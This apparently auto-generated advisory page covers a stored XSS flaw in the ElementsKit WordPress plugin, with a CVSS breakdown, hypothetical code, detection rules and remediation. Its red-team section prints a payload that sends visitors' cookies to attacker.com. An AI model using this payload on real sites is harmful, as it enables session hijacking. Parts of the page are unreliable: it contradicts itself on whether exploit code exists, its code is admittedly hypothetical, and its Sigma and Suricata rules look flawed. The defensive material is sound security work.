CVE-2024-2042
Executive Summary
CVE-2024-2042 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.5. The flaw resides in the Image Accordion widget, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious widget. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ElementsKit plugin distributed via the WordPress plugin repository. As a WordPress ecosystem component, it is not an NPM, PyPI, Go, or Ruby package. However, administrators should verify plugin integrity and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any visitor to the compromised page is at risk.
Deep Dive & Mechanics
The vulnerability exists in the Image Accordion widget of the ElementsKit plugin. The widget allows users to create an accordion-style image gallery with associated text. The flaw occurs because user-supplied input (e.g., image titles, descriptions, or URLs) is not properly sanitized before being stored in the database and later rendered on the frontend. Specifically, the plugin fails to escape HTML entities or strip malicious JavaScript from these fields.
Attack Flow:
- An authenticated attacker with contributor-level access or higher creates or edits a page/post using the Image Accordion widget.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into one of the widget's text fields (e.g., image title or description). - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the payload executes in their browser context, allowing the attacker to steal cookies, redirect users, or perform other malicious actions.
Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() or wp_kses() to user input before output. The lack of output escaping in the widget's template file leads to the XSS.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical comparison based on common fixes for similar XSS vulnerabilities.
Vulnerable Code (elementskit/widgets/image-accordion/template.php):
<div class="ekit-image-accordion-title">
<?php echo $settings['title']; ?>
</div>
<div class="ekit-image-accordion-description">
<?php echo $settings['description']; ?>
</div>
Patched Code (hypothetical):
<div class="ekit-image-accordion-title">
<?php echo esc_html( $settings['title'] ); ?>
</div>
<div class="ekit-image-accordion-description">
<?php echo esc_html( $settings['description'] ); ?>
</div>
The fix involves wrapping output with esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with ElementsKit plugin version <= 3.0.5
- Authenticated user account with contributor-level privileges or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new page or post.
- Add the Image Accordion widget via Elementor.
- In the widget settings, locate a text field (e.g., "Title" or "Description").
- Inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save and publish the page.
- When an administrator or visitor views the page, the script executes, sending cookies to the attacker.
Note: No public exploit code is available; this is a manual exploitation scenario.
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress logs for unusual widget creation or editing by low-privilege users.
- Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
wp-admin/admin-ajax.phpor Elementor endpoints. - Scan pages for unexpected
<script>tags in widget content.
Prevention:
- Disable the Image Accordion widget until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/elementskit/widgets/image-accordion/template.php(vulnerable file) - Database: Rows in
wp_postmetacontaining malicious JavaScript in_elementor_datameta key - Network: Outbound HTTP requests to attacker-controlled domains from compromised pages
- Logs:
wp-content/debug.logentries showing PHP warnings related toesc_htmlorwp_kses
Detection Engineering
YARA Rule
rule CVE_2024_2042_ElementsKit_XSS {
meta:
description = "Detects malicious JavaScript in ElementsKit Image Accordion widget content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2042"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$widget_marker = "ekit-image-accordion"
condition:
$widget_marker and #xss_payload > 0
}
Sigma Rule
title: CVE-2024-2042 ElementsKit Stored XSS Detection
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via ElementsKit Image Accordion widget
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=elementor_ajax'
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in widget content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2042 ElementsKit Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Image Accordion widget by removing or renaming the plugin's widget file (
/wp-content/plugins/elementskit/widgets/image-accordion/). - Restrict user roles – only grant contributor access to trusted users.
- Apply a virtual patch using a WAF to block XSS payloads in Elementor requests.
Long-term Fix:
- Monitor the ElementsKit plugin repository for an official patch (version > 3.0.5).
- Once patched, update the plugin immediately.
- Consider replacing the plugin with an alternative if no patch is released.
Workaround:
- Use a security plugin like Wordfence to add input sanitization rules for Elementor widgets.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.